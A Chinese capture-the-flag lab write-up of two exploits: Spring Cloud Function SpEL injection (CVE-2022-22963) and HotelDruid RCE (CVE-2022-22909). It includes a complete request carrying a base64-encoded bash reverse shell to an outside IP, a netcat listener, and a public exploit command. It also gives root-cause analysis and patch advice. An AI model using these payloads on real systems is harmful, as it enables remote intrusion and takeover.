【春秋云境】CVE-2022-22963靶场WP和CVE-2022-22909靶场WP

【春秋云境】CVE-2022-22963靶场WP

网站地址:https://yunjing.ichunqiu.com/

渗透测试

1.已知提示
  • SpringCloudFunction是SpringBoot开发的一个Servless中间件(FAAS),支持基于SpEL的函数式动态路由。当Spring Cloud Function 启用动态路由functionRouter时, HTTP请求头spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞,攻击者可通过该漏洞进行远程命令执行。 题目链接为:http://ip:port P.S 卡慢不影响拿flag
2.开启靶场

请添加图片描述

3.BP抓包
  • 访问路径/functionRouter ,并使用BP抓取请求包,并对其进行修改

  • 修改请求方式为POST,请求体为test。中间添加内容类型为Content-Type: text/plain,并添加恶意代码

    spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDguOTYuMTAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}")
    

    其中YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDguOTYuMTAwLzEyMzQgMD4mMQ==为base64编码后的结果,原式为bash -i >& /dev/tcp/ip/port 0>&1

  • 整体如下

    POST /functionRouter HTTP/1.1
    Host: 47.95.3.91:36363
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDguOTYuMTAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}")
    Content-Type: text/plain
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: COOKIE_LAST_ADMIN_USER=admin; cookies_accepted=1
    Connection: close
    Content-Length: 4
    
    test
    

    请添加图片描述

4.反弹shell
  • 在自己的云服务器上监听1234端口(根据自己情况而定,记得修改防火墙规则)然后放行上面修改的请求包,反弹shell成功

    nc -lnvp 1234
    

    请添加图片描述

5.执行命令
  • cat /flag从而获得flag

    请添加图片描述

6.漏洞原理
  • Spring Cloud function 主要功能:

    • 通过功能促进业务逻辑的实现
    • 将业务逻辑的开发生命周期与任何特定的运行时目标分离,以便相同的代码可以作为Web端点,流处理器或任务运行
    • 支持无服务器提供商之间的统一编程模型,以及独立运行(本地或PaaS)的能力
    • 在无服务器提供商上启用Spring Boot功能(自动配置,依赖注入,指标)
  • 代码分析

    • 漏洞主要位置在:spring-cloud-function-context-3.2.2.jar!\org\springframework\cloud\function\context\config\RoutingFunction.class

      请添加图片描述

    • 从这里获取到spring.cloud.function.routing-expression的值,然后执行functionFromExpression,在这里调用了this.evalContext

      请添加图片描述

    • evalContext的本质是实例化了StandardEvaluationContext,StandardEvaluationContext也是最典型的SpEL注入的关键字

      请添加图片描述

    • 漏洞原理倒是没有什么弯弯绕绕的,主要就是SpEL的利用

7.排查建议
  • 添加一个isViaHeader

    • 为true时:headerEvalContext = SimpleEvaluationContext
    • 为false时:evalContext = new StandardEvaluationContext
  • 官方已针对此漏洞发布修复补丁,请受影响的用户尽快修复。

    官方链接:https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

【春秋云境】CVE-2022-22909靶场WP

网站地址:https://yunjing.ichunqiu.com/

渗透测试

1.已知提示
  • Hotel Druid RCE
2.开启靶场

请添加图片描述

3.下载工具
  • 工具下载地址

    https://github.com/0z09e/CVE-2022-22909

    请添加图片描述

4.使用工具
  • 应用程序没有身份验证,运用该–noauth标志不履行身份验证,使用以下命令

     python3 .\exploit.py -t http://eci-2ze4kesepfiijn8067br.cloudeci1.ichunqiu.com/ --noauth
    

    请添加图片描述

5.读取文件
  • 访问/dati/selectappartamenti.php?1=cat /flag

    请添加图片描述

成功获得flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

果粒程1122

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值